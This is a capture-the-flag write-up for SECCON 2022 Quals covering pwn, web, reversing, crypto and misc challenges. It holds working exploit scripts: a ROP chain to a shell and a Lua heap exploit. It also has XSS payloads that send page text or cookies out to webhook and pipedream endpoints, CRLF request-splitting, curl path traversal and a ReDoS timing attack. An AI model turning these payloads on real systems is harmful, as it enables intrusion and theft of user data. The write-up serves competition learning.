# SECCON 2022 Quals Writeups by Super Guesser ## Pwnable ### koncha A simple stack bof challenge. There is a libc-related value on the stack (specifically, same address with `name`) Just send a blank line then we can get libc leak. After we can build ROP chain. ```python= #!/usr/bin/env python3 from pwn import * import subprocess local = 0 BIN = "../lib/ld-2.31.so ./chall" IP, PORT = "koncha.seccon.games", 9001 context(terminal=["tmux", "split", "-h"], log_level="debug", aslr=False) if local: # p = process(BIN.split()) p = process(BIN.split(), env={"LD_PRELOAD":"../lib/libc.so.6"}) else: p = remote(IP, PORT) libc = ELF("../lib/libc.so.6") e = ELF(BIN.split(" ")[1]) p.recvline() p.sendline(b'') p.recvuntil(b'you, ') libc.address = u64(p.recvuntil(b'!', True).strip().ljust(8, b'\0')) - 0x1f12e8 p.recvline() payload = b"A"*0x58 payload += p64(libc.address + 0x0000000000023b6a + 1) + p64(libc.address + 0x0000000000023b6a) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system']) p.sendline(payload) context(log_level="info") p.interactive() ``` ### lslice We can forge the length of table by setting malicious metatable. I did not know about function `collectgarbage` and light C function. Hence, I built a heap fengshui payload to read binary(`lua`)'s GOT and to write a `win` function pointer into libc's GOT. ```lua= function addrof(v) local strrep = tostring(v) local i = string.find(strrep, '0x') if i == nil then error("Cannot get address") end return tonumber(string.sub(strrep, i+2), 16) end function p64(x) cur = x out = "" for i = 0,7,1 do out = out .. string.char(cur & 0xFF) cur = cur >> 8 end return out end function u64(x) out = 0 for i = 8,1,-1 do out = out * 0x100 + string.byte(string.sub(x, i, i)) end return out end function hex(v) return string.format("0x%x", v) end fake_len = 0x10000000 x1 = {0xfafa} x2 = {0xfafa} x3 = {0xfafa} a = {0xcafebabe} mt = { __len = function(self) return fake_len end } setmetatable(a, mt) a[1] = x1 heap = addrof(a) piebase = addrof(print) - 0x25930 winaddr = piebase + 0x7a40 freegot = piebase + 0x000000000003AE78 idx = 0x30c value = string.rep(p64(freegot) .. p64(0x2404), 0x60) print(hex(addrof(x1))) print(hex(heap)) c = table.slice(a, idx, idx+1) libcbase = u64(c[1]) - 0xa5460 print(hex(libcbase)) v = heap + idx*0x10 + 0x720 value2 = string.rep("B", 0x208) .. p64(v) .. p64(0x45) value2 = value2 .. p64(addrof(x1) - 0x640) .. p64(0x00000001003f2405) .. p64(libcbase + 0x2190b8) .. p64(piebase + 0x2e780) .. p64(0) .. p64(0) .. p64(v) .. p64(0) idx = 0x293 d = table.slice(a, idx, idx+1) d[1][1] = piebase + 0x7a40 d[1][2] = 0xcafebabe ``` ## Web ### skipnix Following the below two code, - https://github.com/ljharb/qs/blob/main/lib/parse.js#L54 - https://github.com/ljharb/qs/blob/main/lib/parse.js#L21 The maxmium `parameterLimit` is 1000. So, If the depth is big enough, the last parameter will be ignored. ### spanote The first step is writing an html file with the delete endpoint with `.html` extension. It's not easy to execute that file as a html page. The trick to do this is using `history.back()`. history API uses the cached page if it's available. ```htmlmixed! <form id=wow action="http://web:3000/api/notes/delete" method=POST> <input type=text name=noteId value="<img src=1 onerror=eval(window.name)>.html"> <input type=submit> </form> <script> if(window.location.hash=='#ddd'){ // alert() window.open('http://web:3000') setTimeout(()=>{ history.back() },1000) window.name=`let x = window.open('http://web:3000/');setTimeout(()=>{fetch('https://webhook.site/AAAA',{method:'POST',body:x.document.body.innerText})},1000)` } if(!window.name){ window.x = window.open('?','lol') setTimeout(()=>{ x.close() window.x = window.open('?','lmao') setTimeout(()=>{ window.x.location = '?#ddd' // window.x.location = 'http://web:3000/' },1000 ) },1000) } else if(window.name=='lol'){ wow.submit() } else if(window.name=='lmao'){ document.location = 'http://web:3000/api/notes/%3Cimg%20src=1%20onerror=eval(window.name)%3E.html' } </script> ``` ### piyosay to get XSS, we should use the replace function after `DOMPurify.sanitze` and `DOMPurify.removed` holdes the removed elements during sanitization process. the emoji param has to be wrong to avoid overwriting `DOMPurify.removed`. ``` http://piyosay.seccon.games:3000/result?emoji=wow/wow&message=SECCON{%3Cinput%20value=%22}%3Cimg%20src=1%20onerror=%27fetch(`https://webhook.site/AAA?a=`%2bDOMPurify.removed[0].element.innerText)%27%3E%22%3E%3Cscript%3E ``` ### bffcalc ``` ?<img/src='x'/onerror=alert(1)> ``` We can get xss easily. But cookie has httponly flag, so we can't get flag. ```javascript await page.setCookie({ name: "flag", value: FLAG, domain: APP_HOST, path: "/", httpOnly: true, }); ``` ```python def proxy(req) -> str: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("backend", 3000)) sock.settimeout(1) payload = "" method = req.method path = req.path_info if req.query_string: path += "?" + req.query_string payload += f"{method} {path} HTTP/1.1\r\n" for k, v in req.headers.items(): payload += f"{k}: {v}\r\n" payload += "\r\n" sock.send(payload.encode()) time.sleep(.3) try: data = sock.recv(4096) body = data.split(b"\r\n\r\n", 1)[1].decode() except (IndexError, TimeoutError) as e: print(e) body = str(e) return body ``` In bff/app.py, proxy function has crlf injection vulnerability. Because it uses tcp raw socket, request smugling is possible. So if we use CRLF injection + HTTP Request Splitting + Content-Length well, we can leak cookies using 400 error messages. ``` Bad Request Malformed header line " HTTP/1.1" (generated by waitress) ``` #### payload ``` expr=?<img/src='x'/onerror=import('//ssrf.kr/a.js')> ``` ```javascript //a.js document.cookie = "a%:"; const result = await (await fetch(`/%20HTTP/1.1%0d%0aHost:backend:3000%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:backend:3000%0d%0aContent-Length:410%0d%0a%0d%0aexpr=1`)).text(); navigator.sendBeacon("https://enllwt2ugqrt.x.pipedream.net/",result); ``` ### easylfi `curl` accepts special syntaxes, `{one,two,three}` for requesting multiple files at once. Thus, we can bypass the filter `..` and make path traversal like this `{.}.`. In addition, when we request multiple files at once, output will be like following. ``` --_curl_--file://~ (file content) --_curl_--file://~ (file content) ``` Now the only left thing is bypassing `SECCON` filter. When we look up templating function, there is a mistake that tmeplate key accepts a single character `{`. Thus, we are able to think replace `{` to `}`, then `SECCON{flag}` will be converted to `SECCON}flag}`. Now, if we can write some strings contains `{` in front of `SECCON}flag}` using multiple requests, e.g. `asdfasdf{asdzxv... SECCON}flag}`, we can change `{asdzxcv... SECCON}` to other string using templating, which can bypass `SECCON` filtering. Also, `curl` accepts url fragmentation for file scheme, we can use this to insert any arbitrary string. #### payload ``` /%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7B.%7D./%7Bapp/requirements,flag%7D.txt%23%20%5c%7Ba%5c%7d?%7B=%7D%7B&%7Ba%7D=%7B&%7B%0aSECCON%7D=x ``` which is same as ``` /{.}./{.}./{.}./{.}./{.}./{.}./{.}./{.}./{.}./{app/requirements,flag}.txt# \{a\}?{=}{&{a}={&{ SECCON}=x ``` this will result in ``` --_curl_--file:///app/public/../..//../..//..//..//..//..//../app/requirements.txt# }{ Flask==2.2.2 --_curl_--file:///app/public/../..//../..//..//..//..//..//../flag.txt# }x{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser} ``` #### flag `SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}` ## Reversing ### babycmp ```python key_first = [0x04, 0x20, 0x2F, 0x20, 0x20, 0x23, 0x1E, 0x59, 0x44, 0x1A, 0x7F, 0x35, 0x75, 0x36, 0x2D, 0x2B, 0x11, 0x17, 0x5A, 0x03, 0x6D, 0x50, 0x36, 0x07, 0x15, 0x3C, 0x09, 0x01, 0x04, 0x47, 0x2B, 0x36, 0x41, 0x0a, 0x38] key = "Welcome to SECCON 2022" c = '' cnt = 0 for i in range(0, len(key_first)): if cnt == len(key): cnt = 0 c += chr(key_first[i] ^ ord(key[cnt])) cnt += 1 print(c) ``` ### DoroboH We are presented with three files: `araiguma.DMP` a dump file containing a snapshot of a live run of the main executable `araiguma.exe.bin`. And a PCAP file containing the communication between a server and the executable with the name `network.pcap`. I put the executable into IDA and started analyzing. The binary is rather small and is not stripped, thus it is easy to navigate. In the main a Diffie Hellman key is created with static G and P values. The public key is then exported and sent to "192.168.3.6" which answers with a public key of its own. Afterwards the received public key is used to derive a session key that is used for RC4 decryption. So we are looking at a DH handshake to create a shared secret. Analyzing the binary and the pcap file, we see that a simple protocol is used. First a 4 byte value with the necessary buffer size is sent, and then the actual message follows. Furthermore we can see two messages being sent after the DH handshake which are of length 102 and 103 respectively. The flag is very likely being hidden in one of the two. I implemented a server that could be used to communicate with the binary in C++. But it had one catch, i would print out the shared secret key, so i could search for it in the running binary (see snippet below). Note that the actual RC4 key is 0x10 bytes long and starts at offset 0xC in the exported struct. ``` if (CryptImportKey(hProv, (BYTE*)buffer, data_len, phKey, 0, &sessionKey)) { DWORD algid = CALG_RC4; if (CryptSetKeyParam(sessionKey, KP_ALGID, (BYTE*)&algid, 0)) { DWORD shared_secret_len = 0; CryptExportKey(sessionKey, 0, PLAINTEXTKEYBLOB, 0, 0, &shared_secret_len); unsigned char* shared_secret = new unsigned char[shared_secret_len]; if (shared_secret) { CryptExportKey(sessionKey, 0, PLAINTEXTKEYBLOB, 0, (BYTE*)shared_secret, &shared_secret_len); printf("Shared secret should be: "); for (int i = 0; i < 0x10; i++) { printf("%02X", shared_secret[0xC + i]); } printf("\n"); } ``` With this server running on localhost i used a hex editor to change the ip "192.168.3.6" to "127.0.0.1" so it would connect to my local server. With all this prepared, i loaded `araiguma_patched.exe` into WinDBG and put a breakpoint at the exact same offset as in the dump file: 0x401995. When breaking there, my server would display the following. ``` Shared secret should be: 7F84FE1991959539A46F35A08D8D6AAA ``` This enabled me to search the memory of the local `araiguma_patched.exe` for this value and identify patterns that might be useful for searching them in the DMP file. ``` 0:000> s -d 0x0000 L1000000 0x19fe847f 00000000`00122170 19fe847f 39959591 a0356fa4 aa6a8d8d .......9.o5...j. 00000000`0012290c 19fe847f 39959591 a0356fa4 aa6a8d8d .......9.o5...j. ``` The latter seemed to be most promising. ``` 0:000> db 1228a0 l2c0 00000000`001228a0 ee fe ee fe ee fe ee fe-86 43 96 ae 47 bf 00 32 .........C..G..2 00000000`001228b0 20 00 00 00 52 55 55 55-d0 23 12 00 00 00 00 00 ...RUUU.#...... 00000000`001228c0 d0 28 12 00 00 00 00 00-b0 28 12 00 00 00 00 00 .(.......(...... 00000000`001228d0 6e 02 00 00 4b 53 53 4d-01 00 01 00 00 00 00 00 n...KSSM........ 00000000`001228e0 01 00 00 00 01 00 00 00-80 00 00 00 00 00 00 00 ................ 00000000`001228f0 90 25 12 00 00 00 00 00-00 00 00 00 00 00 00 00 .%.............. 00000000`00122900 00 00 00 00 00 00 00 00-10 00 00 00 7f 84 fe 19 ................ 00000000`00122910 91 95 95 39 a4 6f 35 a0-8d 8d 6a aa 0d f0 ad ba ...9.o5...j..... 00000000`00122920 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................ ``` There were some contents in the immediate proximity that could be kinda static. Take the "RUUU" or "KSSM" strings for example. I chose the "RUUU" one and added the 4 bytes before it aswell to my search pattern. And would you believe it, i got two hits in the provided DMP file! The latter looked exactly like the struct i saw in the local process and contained the secret shared key at `00163a6c`. ``` 0:000> s -q 0x0000 L1000000 0x5555555200000020 00000000`000ffc50 55555552`00000020 00000000`0010d560 00000000`00163a10 55555552`00000020 00000000`00114a90 0:000> db 00000000`00163a10 00000000`00163a10 20 00 00 00 52 55 55 55-90 4a 11 00 00 00 00 00 ...RUUU.J...... 00000000`00163a20 30 3a 16 00 00 00 00 00-10 3a 16 00 00 00 00 00 0:.......:...... 00000000`00163a30 6e 02 00 00 4b 53 53 4d-01 00 01 00 00 00 00 00 n...KSSM........ 00000000`00163a40 01 00 00 00 01 00 00 00-80 00 00 00 00 00 00 00 ................ 00000000`00163a50 30 fe 0f 00 00 00 00 00-00 00 00 00 00 00 00 00 0............... 00000000`00163a60 00 00 00 00 00 00 00 00-10 00 00 00 f1 f5 85 a0 ................ 00000000`00163a70 f3 27 87 ad 54 c0 66 10-af 2f 3a a3 39 00 39 00 .'..T.f../:.9.9. 00000000`00163a80 2d 00 31 00 30 00 30 00-31 00 5f 00 43 00 6c 00 -.1.0.0.1._.C.l. ``` Now it was just a matter of decrypting the RC4. I used python for that. ```python from Crypto.Cipher import ARC4 keylist = [ b"\xf1\xf5\x85\xa0\xf3\x27\x87\xad\x54\xc0\x66\x10\xaf\x2f\x3a\xa3" ] ciphertext = b"\x8c\x28\xc2\x0d\x02\x7a\xa8\xbc\x9a\x71\xb1\x07\x02\x24\x21\xe9\x07\x34\x0d\xe0\xf9\xa4\xc5\x40\x61\x1f\x2d\x95\xb5\x60\xf8\x43\x5f\xdb\x44\xec\xb3\x88\x76\xdd\xab\x1f\xe3\xff\xca\xf2\x6a\xeb\x65\xb7\xf7\xf4\xd1\xd0\xbc\x6c\xee\xc5\x21\xc7\x7c\x27\xcd\x0f\xfb\xa4\xa9\xd0\x07\x22\x8c\x47\x82\x88\xb9\x06\xb6\x4d\x83\x2b\xe9\x82\x2e\x12\x3e\xc4\xa5\xab\xbc\x15\x5a\x24\xb6\x3a\x8c\x65\x7c\x05\xff\x61\x48\x12\x4f" for key in keylist: rc4 = ARC4.new(key) decrypted = rc4.decrypt(ciphertext) print(decrypted) # SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs} ``` The ciphertext was taken from the first of the two longer messages in the pcap file. I did not check what the second one contained. ### eguite The binary is old school style crackme written by rust. In `eguite::Crackme::onclick::hb69201652eb2ef3b`, there is the flag check routine. First, this function checks the input starts with `SECCON{` and ends with `}` and length of input is 43. And, it checks there are the letter `-` at `19th` and `26th`, `33rd` index. > e.g.) > `SECCON{aaaaaaaaaaaa-bbbbbb-cccccc-dddddddd}` Next, it decode each parts as big-endian hex string. Lastly, it checks parts by sum of some parts and xor result of some parts. We got the flag using z3 solver. ```python from z3 import * s = Solver() a,b,c,d = [BitVec('a', 8 * 8), BitVec('b', 8 * 8), BitVec('c', 8 * 8), BitVec('d', 8 * 8)] s.add(b + a == 0x8B228BF35F6A) s.add(c + b == 0xE78241) s.add(d + c == 0xFA4C1A9F) s.add(d + a == 0x8B238557F7C8) s.add((d ^ b ^ c) == 4184371021) s.add(a < (1<<6 * 8)) s.add(b < (1<<3 * 8)) s.add(c < (1<<3 * 8)) s.add(d < (1<<4 * 8)) print(s.check()) m = (s.model()) print(m) a,b,c,d = (m[i].as_long() for i in [a,b,c,d]) print(f'SECCON{{{hex(a)[2:]}-{hex(b)[2:]}-{hex(c)[2:]}-{hex(d)[2:]}}}') # SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370} ``` ### Devil Hunter We can see the flag.cbc's IR by `clamcb ./flag.cbc --printbcir`. Note that I'll not post the output of this. `F.1 bb.3` checks whether flag.txt end's with "}". Important part is `F.1 bb.5` which transform our input with function `F.2` and `F.1 bb.6` which compare between transformed input and constant. So, implementing reverse of `F.2` is the solution. ```python def rev(x): a, b, c, d = x >> 24, x >> 16, x >> 8, x a = a & 0xFF b = b & 0xFF c = c & 0xFF d = d & 0xFF e = a ^ 0xa f = b ^ 0xca g = c ^ 0xb3 h = d ^ 0xc0 return bytes([h, e, f, g]) lst = [0x739e80a2, 0x3aae80a3, 0x3ba4e79f, 0x78bac1f3, 0x5ef9c1f3, 0x3bb9ec9f, 0x558683f4, 0x55fad594, 0x6cbfdd9f] flag = b"" for i in lst: flag += rev(i) print(b"SECCON{" + flag + b"}") # SECCON{byT3c0d3_1nT3rpr3T3r_1s_4_L0T_0f_fun} ``` ## Crypto For PQPQ, insufficient, BBB, and witch's symmetric exam, check - https://github.com/rkm0959/Cryptography_Writeups/tree/main/2022/SECCON ### PQPQ We are given, with $e = 2 \cdot 65537$, - $n = pqr$ - $c_1 = p^e - q^e \pmod{n}$ - $c_2 = (p - q)^e \pmod{n}$ - $c = m^e \pmod{n}$ It can be easily shown that $p = \gcd(c_1 + c_2, n)$ and $q = \gcd(c_1 - c_2, n)$. With this, we can calculate $p, q, r$. Now with $\phi = (p - 1)(q - 1)(r - 1)$ and $d = \text{inverse}(65537, \phi)$, we can compute $m^2 \equiv c^d \pmod{n}$. To compute $m$, we divide the equation into three, (each with mod $p, q, r$) solve each one, then combine with CRT. This gives us all candidates for the flag. ### Insufficient We are given 4 data $(x_i, y_i, w_i)$ with a 512 bit prime $p$ such that $$w_i \equiv a_1 x_i + a_2 x_i^2 + a_3 x_i^3 + b_1 y_i + b_2 y_i^2 + b_3 y_i^3 + c z_i + s \pmod {p}$$ where each $a_i, b_i, c, s$ are all fixed unknowns in $[0, 2^{128}]$ and $z_i$ is in $[0, 2^{128}]$. We rewrite this as $$ w_i - 2^{256} \le a_1 x_i + a_2 x_i^2 + a_3 x_i^3 + b_1 y_i + b_2 y_i^2 + b_3 y_i^3 + n_i p \le w_i$$ and use lattice methods to solve for $a_1, a_2, a_3, b_1, b_2, b_3$. Now we can find all $\delta_i = cz_i + s \pmod{p}$. Since $0 \le c, z_i, s < 2^{128}$ we simply know $\delta_i = cz_i + s$. Since $c$ is a divisor of $\delta_i - \delta_j = c(z_i - z_j)$, GCD can be used to find $c$. Since $s < 2^{128}$, we can simply take $s = \delta_i \pmod{c}$. There can be more possible candidates for $c, s$, but we didn't have to deal with it. ### BBB The idea is to make $rng(11) = 11$, which gives us what $b$ to send. Then, we can solve for $x \neq 11$ such that $rng(x) = 11$, then solve for $y$ such that $rng(y) = x$, then $rng(z) = y$, and so on. This is continued until we have found 5 such values, which works with a decent portion of the prime numbers. Essentially we are just solving for $rng^{5}(x) = 11$ or something like that. These seeds will give us datasets with $e = 11$, so solving for $m^{11}$ via CRT works. This can be easily seen by computing the bounds for $m^{11}$ and $\prod_{i=1}^5 n_i$. ### this_is_not_lsb In textbook RSA, when ciphertext $E(P) = P^e$ is given, ciphertext for $E(P' = mP) = P^e \cdot m^e$ can be easily calculated without knowing $P$. When we send $c \cdot M^e$, we can check whether $2^{1022} - 2^{1024} \leq flag \cdot M \leq 2^{1022} -1$ or not. Once we find appropriate $M$ satisfies 2^{1022} - 2^{1024} \leq flag \cdot a$, then set $a$ as lower bound and possible to recover maximum $M$ such that $flag \cdot M \leq 2^{1022} -1$ using binary search. ```python from pwn import * from Crypto.Util.number import * r = remote("this-is-not-lsb.seccon.games", 8080) r.recvuntil(" = ") n = int(r.recvline()) r.recvuntil(" = ") e = int(r.recvline()) r.recvuntil(" = ") flag_len = int(r.recvline()) r.recvuntil(" = ") c = int(r.recvline()) def query(factor): r.recvuntil(" = ") val = c * pow(factor, e, n) % n r.sendline(str(val).encode()) z = r.recvline() return z == b'True\n' st = 2**438 en = 2**439 - 1 factor = 2**576 * 196 for i in range(584,-1,-1): adder = 2**i while query(factor + adder): factor += adder print("!! add",i) #factor = 48663794436922351897392835332645276106957960444910813902095379757782525882180340752407585793044725993977469588294850480616647015758190038588490706033703755590689470468363797990 flag = (2**1022 - 1)//factor print(long_to_bytes(flag)) ``` ### Witch's Symmetric Exam First, note that OFB cipher is practically a stream cipher. Therefore, combined with a padding oracle attack gives us an ECB encryption oracle. Indeed, sending $IV || C$ for an OFB decryption gives error at OFB side when $E_K(IV) \oplus C$ is not padded appropriately. In conclusion, we have an ECB encryption oracle. Since OFB's decryption is same as encryption, this also means that we have an OFB decryption oracle as well. We have OFB encryption/decryption at hand. Also, note that AES-GCM is also a stream cipher at heart. If we look into AES-GCM's internals, it's easy to see that having an ECB encryption oracle is enough to both encrypt/decrypt (alongside the calculation of tag) so the challenge is solved. ### janken vs kurenaif It is well-known that python random module is not cryptophically secure. All we need is to find a integer seed which generates 666 target values. I first tried to analyze the exact logic for the random module in python but it is too boring. Luckily I find [this repository](https://github.com/deut-erium/RNGeesus) and it contains almost everything I want. Since the whole code is too long, I will introduce a handmade method in Breaker class. ```python class BreakerPy(Breaker): # ... def state_recovery_rand_partial(self, outputs): """ state recovery for given prob """ MT = [BitVec(f'MT[{i}]',32) for i in range(624)] values = [] start_time = time() S = Solver() for i in range(len(outputs)): if i%624==0: self.twist_state(MT) S.add(LShR(self.tamper_state(MT[i%624]),30)==outputs[i]) if S.check()==sat: print("time taken :",time()-start_time) model = S.model() mt = {str(i): model[i].as_long() for i in model.decls()} mt = [mt[f'MT[{i}]'] for i in range(len(model))] return mt # ... ``` I find a candidate mersenne state using `state_recovery_rand_partial` method then find a corresponding seed. ```python from pwn import * from mersenne import * import random def conv(a): return (a+1)%3 r = remote("janken-vs-kurenaif.seccon.games", 8080) r.recvuntil("spell is ") spell = r.recvuntil(".")[:-1] print(spell) witch_rand = random.Random() witch_rand.seed(int(spell, 16)) outputs = [conv(witch_rand.randint(0, 2)) for _ in range(666)] b = BreakerPy() mt = b.state_recovery_rand_partial(outputs) print("mt recovered") R = random.Random() R.setstate((3, tuple(mt) + (624,), None)) for i in range(666): assert(R.randint(0,2) == outputs[i]) print("assert passed") R = random.Random() #R.seed((1)) R.setstate((3, tuple(mt) + (624,), None)) output32 = [R.getrandbits(32) for _ in range(624)] seeds = b.get_seeds_python(output32, 624) if not seeds: exit() print("!!! seeds!!!!", seeds) seed_int = 0 for i in range(len(seeds)): seed_int |= (seeds[i] << (32*i)) r.sendline(hex(seed_int)) r.interactive() ``` ## Misc ### Noiseccon We send $scale = 2^{64} \cdot 2^{4k}$ for $1 \le k \le 42$. In that case, the decimal part of the offsetX, offsetY will be `[flag hex] / 16`. We'll find this value to solve the chall. To do so, we will brute force all 16 possibilities and see if the colors make sense. In each possibility, we can take a 20 x 20 grid of the picture that is decided by four gradient values. This is equivalent to `[flag hex] / 16 + i / 20` having the same integer part for 20 consecutive $i$. We will brute force all $8^4$ possibilities for the four (2D) gradients. Then, since we already know the decimal part of each grid (as we already fixed the value for the flag hex) we can compute the color of it and see if it matches the picture returned from the server. If there one of the $8^4$ candidates for the gradients work, then the flag hex value we guessed is the correct one. ```python from PIL import Image from pwn import * import time from base64 import b64decode from tqdm import tqdm import itertools FIN = [(1, 1), (1, -1), (-1, 1), (-1, -1), (1, 0), (-1, 0), (0, 1), (0, -1)] def fade(x): return x * x * x * (x * (6 * x - 15) + 10) def lerp(a, b, t): return (1 - t) * a + t * b def dot_prod(A, B): assert len(A) == 2 and len(B) == 2 return A[0] * B[0] + A[1] * B[1] def isOKDetail(whi, st, S, pix): for i in range(20): for j in range(20): of_y = (5 * whi + 4 * (st + i) - 80) / 80 of_x = (5 * whi + 4 * (st + j) - 80) / 80 assert 0 <= of_x < 1 and 0 <= of_y < 1 n00 = dot_prod(S[0], (of_x, of_y)) n01 = dot_prod(S[1], (of_x, of_y - 1)) n10 = dot_prod(S[2], (of_x - 1, of_y)) n11 = dot_prod(S[3], (of_x - 1, of_y - 1)) u = fade(of_x) v = fade(of_y) fin = lerp(lerp(n00, n10, u), lerp(n01, n11, u), v) fin = int((fin + 1) * 128) if abs(fin - pix[st + i, st + j][0]) > 1: return False return True def isOk(whi, pix): st = (80 - 5 * whi + 3) // 4 for S in itertools.product(FIN, repeat = 4): if isOKDetail(whi, st, S, pix): return True return False hex_flag = "" for i in tqdm(range(42)): conn = remote("noiseccon.seccon.games", 1337) scale = 1 << (64 + 4 + 4 * i) for j in range(9): conn.recvline() conn.sendline(str(scale).encode()) conn.sendline(str(scale).encode()) img = conn.recvline().split()[-1] f = open("image.png", "wb") f.write(b64decode(img)) f.close() im = Image.open("image.png") pix = im.load() for whi in range(16): if isOk(whi, pix) == 1: hex_flag += hex(whi)[2:] break if len(hex_flag) % 2 == 0: print(bytes.fromhex(hex_flag[::-1])) print(bytes.fromhex(hex_flag[::-1])) ``` ### txtchecker Linux command `file` is abused with arbitrary parameter values to provoke time-based inference of the content from the other end. In our case, we used the crafted magic file, read through the `/dev/stdin`, where we chained the non-delayed match (based on current string match) along with the delayed one (regex DoS alike). ```python= #!/usr/bin/env python3 import pexpect import string import time THRESHOLD = 10 def Connect(user, host, password): connStr = 'ssh '+user+"@"+host + " -p 2022 -oStrictHostKeyChecking=no -oCheckHostIP=no" child = pexpect.spawn(connStr) child.expect("password:") child.sendline(password) return child TEMPLATE = '0 string SECCON{%s\n>0 regex E.*C.*C.*O.*N.*((((((((((((((.{1,10})+)+)+)+)+)+)+)+)+)+)+)+)+) seccon_flag\n' def check(cur_cand): host = 'txtchecker.seccon.games' user = 'ctf' password = 'ctf' child = Connect(user, host, password) child.expect("path:") child.sendline("-m /dev/stdin /flag.txt") a = time.time() k = TEMPLATE % cur_cand child.send(k) child.send(chr(4)) while child.isalive(): if time.time() - a > THRESHOLD: child.sendeof() return THRESHOLD else: time.sleep(0.001) return time.time() - a known = "" while not known.endswith('}'): for i in '}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`|~ ': candidate = known + i delta = check(candidate) print(candidate, delta) if delta >= THRESHOLD: if check(candidate) >= THRESHOLD: known = candidate break ``` ### Find Flag we are given following code ```python #!/usr/bin/env python3.9 import os FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode() def check(): try: filename = input("filename: ") if open(filename, "rb").read(len(FLAG)) == FLAG: return True except FileNotFoundError: print("[-] missing") except IsADirectoryError: print("[-] seems wrong") except PermissionError: print("[-] not mine") except OSError: print("[-] hurting my eyes") except KeyboardInterrupt: print("[-] gone") return False if __name__ == '__main__': try: check = check() except: print("[-] something went wrong") exit(1) finally: if check: print("[+] congrats!") print(FLAG.decode()) ``` Since the code does not check for valueError (i.e sending \x00) or exit syscall (control+d) we can just run the program , hit control+d and it will print the flag since the the condition `if check` here check will point to function check .